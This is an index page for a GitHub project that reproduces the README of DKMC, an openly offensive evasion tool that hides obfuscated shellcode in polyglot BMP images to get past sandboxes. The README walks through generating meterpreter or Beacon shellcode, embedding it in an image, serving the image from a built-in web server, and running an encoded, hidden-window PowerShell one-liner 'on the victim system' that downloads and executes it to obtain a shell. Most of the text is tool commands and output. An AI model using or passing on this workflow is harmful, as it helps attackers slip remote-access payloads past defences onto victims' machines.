Ecosyste.ms: Awesome
An open API service indexing awesome lists of open source software.
https://github.com/Mr-Un1k0d3r/DKMC
DKMC - Dont kill my cat - Malicious payload evasion tool
https://github.com/Mr-Un1k0d3r/DKMC
Last synced: 13 days ago
JSON representation
DKMC - Dont kill my cat - Malicious payload evasion tool
- Host: GitHub
- URL: https://github.com/Mr-Un1k0d3r/DKMC
- Owner: Mr-Un1k0d3r
- License: other
- Archived: true
- Created: 2016-12-05T03:44:07.000Z (almost 8 years ago)
- Default Branch: master
- Last Pushed: 2020-07-20T03:36:56.000Z (over 4 years ago)
- Last Synced: 2024-09-27T04:02:12.779Z (about 2 months ago)
- Language: Python
- Size: 5.34 MB
- Stars: 1,370
- Watchers: 68
- Forks: 286
- Open Issues: 6
-
Metadata Files:
- Readme: README.md
- License: LICENSE.md
Awesome Lists containing this project
- awesome-termux-hacking - DKMC - DKMC - Dont kill my cat - Malicious payload evasion tool.[![->](https://img.shields.io/github/stars/Mr-Un1k0d3r/DKMC.svg?style=social&label=Star&maxAge=2592000)](https://github.com/Mr-Un1k0d3r/DKMC/stargazers/) (Uncategorized / Uncategorized)
README
# Don't Kill My Cat (DKMC)
`WINDOWS 10 now limit the shellcode payload from running properly due to the need of a RWX page to decode and execute the shellcode. DKMC can be update the set a memory page with properly permission.`
Don't kill my cat is a tool that generates obfuscated shellcode that is stored inside of polyglot images. The image is 100% valid and also 100% valid shellcode. The idea is to avoid sandbox analysis since it's a simple "legit" image. For now the tool rely on PowerShell the execute the final shellcode payload.
Why it's called don't kill my cat? Since I suck at finding names for tools, I decided to rely on the fact that the default BMP image is a cat to name the tool.
Presentation on how it works internally can be found here: https://github.com/Mr-Un1k0d3r/DKMC/blob/master/DKMC%20presentation%202017.pdf
# Basic Flow
* Generate shellcode (meterpreter / Beacon)
* Embed the obfuscated shellcode inside the image
* PowerShell download the image and execute the image as shellcode
* Get your shell# Installation
```
$ git clone https://github.com/Mr-Un1k0d3r/DKMC
$ cd DKMC
$ mkdir output
```# Usage
Launching DKMC
```
$ python dkmc.pyDKMC - Don't kill my cat
Evasion tool - Mr.Un1k0d3r RingZer0 Team
|\ _,,,---,,_
/,`.-'`' -. ;-;;,_
|,4- ) )-,_..;\ ( `'-'
'---''(_/--' `-'\_) The sleepy cat----------------------------------------------------
Select an option:[*] (gen) Generate a malicious BMP image
[*] (web) Start a web server and deliver malicious image
[*] (ps) Generate Powershell payload
[*] (sc) Generate shellcode from raw file
[*] (exit) Quit the application>>>
```Generate shellcode from a raw file
```
>>> sc
(shellcode)>>> set source shellcode.txt
[+] source value is set.(shellcode)>>> run
[+] Shellcode:
\x41\x41\x41\x41
```Generate the obfuscated shellcode embedded inside of an image.
```
>>> gen
(generate)>>> set shellcode \x41\x41\x41\x41
[+] shellcode value is set.
(generate)>>> run
[+] Image size is 300 x 275
[+] Generating obfuscation key 0x1f1dad93
[+] Shellcode size 0x4 (4) bytes
[+] Generating magic bytes 0xa4d0c752
[+] Final shellcode length is 0x57 (87) bytes
[+] New BMP header set to 0x424de9a4c60300
[+] New height is 0x0e010000 (270)
[+] Successfully save the image. (/home/ringzer0/tools/DKMC/output/output-1496175261.bmp)(generate)>>>
```Generate PowerShell payload to execute on the victim system.
```
>>> ps
(powershell)>>> set url http://127.0.0.1:8080/output-1496175261.bmp
[+] url value is set.(powershell)>>> run
[+] Powershell script:
powershell.exe -nop -w hidden -enc JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIASAA0AHMASQBDAEYAVABUAEwAVgBrAEMALwB6AEUAMABPAFQAWQB4AE4AegBVADAATgBEAFEAdQBNAGoAVQAhAHQAVgBaAHIAYgA5AHAASQBGAFAAMABlAEsAZgA5AGgAVgBDAEgAWgBsAG8AdwBMAFMAYgBmAE4AUgBxAHAAVQBuAG4AbQAwAEUASQBKAEoAMABvA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vAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAKQApAC4AUgBlAGEAZABUAG8ARQBuAGQAKAApADsA(powershell)>>>
```Built-in Web Server to deliver the image
```
>>> web
(web)>>> set port 8080
[+] port value is set.(web)>>> run
[+] Starting web server on port 8080127.0.0.1 - - [30/May/2017 16:18:43] "GET /output-1496175261.bmp HTTP/1.1" 200 -
```Final step require you to run the PowerShell oneliner on the victim system.
# TODO
Support more file format.# Credit
Mr.Un1k0d3r RingZer0 Team 2016